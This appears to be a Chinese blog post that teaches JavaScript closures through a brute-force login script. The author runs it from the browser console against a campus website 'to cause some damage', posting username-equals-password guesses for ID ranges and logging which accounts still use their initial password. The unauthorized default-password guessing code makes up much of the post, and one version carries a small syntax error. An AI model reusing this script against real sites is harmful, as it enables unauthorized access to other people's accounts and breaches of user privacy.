最近在閑逛校園XX站的時候,打算搞個破壞,試試有多少人還是用初始密碼登陸。比較懶,所以直接打開控制台來寫。
所以問題可以描述為:
向后端不斷的post數據,id從1~5000自增,后端會根據情況來返回值res,需要把res=100的id輸出。
最簡單的想法是:for循環內部調用post數據
//錯誤示范 一 for(var i = 92000;i<92500;i++){ //直接借用一下網站內引用的jq $.post("login.php", { ts:"login",username: i, password: i},function(data){ if(data=="100"){ console.log(i); } }); }
但是,運行結果是這樣的:

post函數時異步的進行請求,拿到請求之后才會執行回調函數。for循環執行速度要快於post函數的執行速度。當執行post之后,for循環不會等待post拿到res並執行回調,而是繼續遍歷,for循環幾百幾千次的速度都快於post。所以當第一個post請求去執行其回調時,循環已經結束,i=92500。
這和一道很經典的筆試題很像:
for(var i = 0;i<10;i++){ setTimeout(function(){ console.log(i); },1000); } //輸出結果為10個 10
解決辦法:利用閉包
//利用閉包和返回函數實現 for(var i=92000;i<92500;i++){ $.post("index.php?action=login",{ ts:"login",username: i, password: i,chekcode:9895 },(function(i){ return function(data){ if(data == "100"){ console.log(i) } } })(i); ); }
運行結果:

相關解釋:
通過把回調寫成匿名函數閉包,將i變量保存並且立即調用函數,但是為了獲取到返回的data數據,所以在閉包內部return function(data),用來作為真正的回調函數接受返回參數res-data
當執行完for循環之后,console.log()首先能拿到正常返回數據data的值,因為js里函數訪問參數時訪問的作用域不是當前作用域,而是函數聲明環境下的作用域,所以就可以直接訪問到每個res=100對應的循環變量i。
所以上面那個面試題的一種解法就是:
for(var i = 0;i<10;i++){
(function(i){setTimeout(function(){
console.log(i);
},1000)})(i);
}
對函數的一些理解:
1.函數可以作為參數傳入,參與運算。
2.函數可以保存內部數據的狀態,常見通過構造函數內部var變量實現類的私有成員
3.還沒想好怎么說,以后再補
